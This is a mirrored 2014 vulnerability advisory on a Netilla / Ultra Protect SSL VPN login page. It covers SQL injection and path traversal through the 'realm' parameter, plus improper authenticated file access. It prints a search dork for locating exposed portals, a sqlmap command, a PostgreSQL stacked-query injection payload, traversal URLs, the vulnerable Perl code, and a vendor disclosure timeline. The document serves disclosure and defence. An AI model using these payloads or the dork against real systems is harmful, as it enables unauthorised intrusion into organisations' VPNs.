Ultra Electronics / AEP Networks - SSL VPN (Netilla / Series A / Ultra Protect) Vulnerabilities

2014-10-05T00:00:00
ID SECURITYVULNS:DOC:31134
Type securityvulns
Reporter Securityvulns
Modified 2014-10-05T00:00:00

Description

Ultra Electronics / AEP Networks - SSL VPN (Netilla / Series A / Ultra Protect) Vulnerabilities http://www.osisecurity.com.au/advisories/ultra-aep-netilla-vulnerabilities

Release Date: 02-Oct-2014

Software: Ultra Electronics - Series A http://en.wikipedia.org/wiki/NetillaOS_NetConnect_by_Northbridge_Secure_Systems_(Secure_Remote_Access_SSL_VPN)

Versions tested: Version 7.2.0.19 and 7.4.0.7 have been confirmed as vulnerable. Other versions untested.

Google Dork: inurl:/preauth/login.cgi Page 1 of about 321 results (0.25 seconds)

URL:

https://[target]/preauth/login.cgi?realm=local

There are a few different issues with the 'realm' parameter.

1) SQL injection. You can use sqlmap for this.

./sqlmap.py -u "https://[target]/preauth/login.cgi?realm=abc" --level 5

sqlmap identified the following injection points with a total of 927 HTTP(s) requests:


Place: GET Parameter: realm Type: boolean-based blind Title: PostgreSQL stacked conditional-error blind queries Payload: realm=-2661'); SELECT (CASE WHEN (9569=9569) THEN 9569 ELSE 1/(SELECT 0) END);--


web application technology: Apache back-end DBMS operating system: Linux Red Hat back-end DBMS: PostgreSQL banner: 'PostgreSQL 8.3.4 on x86_64-redhat-linux-gnu, compiled by GCC gcc (GCC) 4.1.2 20070626 (Red Hat 4.1.2-14)'

Funnily enough, a lot of the source code is commented with things like "#FIXME add param validation" as a reminder by the developer that the code doesn't validate input - but somehow made it into production.

DB.pm line ~189 where realm is used in an SQL select:

sub set_message { my $self = shift; warn(PACKAGE, "::set_message() called\n") if $self->{'debug'};

my ($key, $value) = @_; # FIXME add param validation

my $realm_name=$self->{'realm'};
my $c = $self->{'_dbh'};
my $locale = $self->{'locale'} ;
my $r      = $c->exec("
            select * from set_realm_message('$realm_name',

'$locale', '$key', '$value') "); if ($r->resultStatus ne PGRES_TUPLES_OK) { return; } my $retval = $r->fetchrow; return $retval;

}

2) The realm is also used in a perl based mkdir(). This allows you to create arbitrary folders, allows for path disclosure / checking files exist etc.

Manager.pm line ~43: chown $uid, $gid, mkpath($path, 0);

File.pm line ~160: my $parent = File::Basename::dirname($path); unless (-d $parent or $path eq $parent) { push(@created,mkpath($parent, $verbose, $mode)); } print "mkdir $path\n" if $verbose;

Examples:

https://[target]/preauth/login.cgi?realm=../../../etc/hosts

Error mkdir /tmp/netilla-cache/C11N_get_messages/../../../etc/hosts: File exists at /usr/lib/perl5/site_perl/5.8.8/Netilla/CONDA/Cache/Manager.pm line 43 Back

https://[target]/preauth/login.cgi?realm=../../../../bin/

Error mkdir /tmp/netilla-cache/C11N_get_messages/../../../../bin: Permission denied at /usr/lib/perl5/site_perl/5.8.8/Netilla/CONDA/Cache/Manager.pm line 43 Back

The portal requires authentication to access "protected" areas but once you are authenticated, you can HTTP GET internal device configuration files and other resources that an authenticated user shouldn't be able to read.

Credit: This vulnerability was discovered by Patrick Webster.

Disclosure timeline: 28-May-2012 - Discovered during test. 28-May-2012 - Vendor contact, referred to support and legal departments. 19-Jun-2012 - Requested vendor update. 20-Jun-2012 - Told to contact support email. Sent. 19-Jul-2012 - Support request to close ticket. Told support no progress has been made. Support requires CVE to progress. 23-Jul-2012 - Told support no CVE has been assigned. Support refuse to investigate without a CVE. Told to upgrade to newest release 7.4.0.7. Confirmed as affected. 14-Aug-2012 - Vendor support closing ticket, no investigation or patch. 02-Oct-2014 - Public disclosure. Assumed vulnerable.

Note: Product is now known as NetillaOS by Northbridge Secure Systems. 2014 status unknown.

About OSI Security:

OSI Security is an independent network and computer security auditing and consulting company based in Sydney, Australia. We provide internal and external penetration testing, vulnerability auditing and wireless site audits, vendor product assessments, secure network design, forensics and risk mitigation services.

We can be found at http://www.osisecurity.com.au/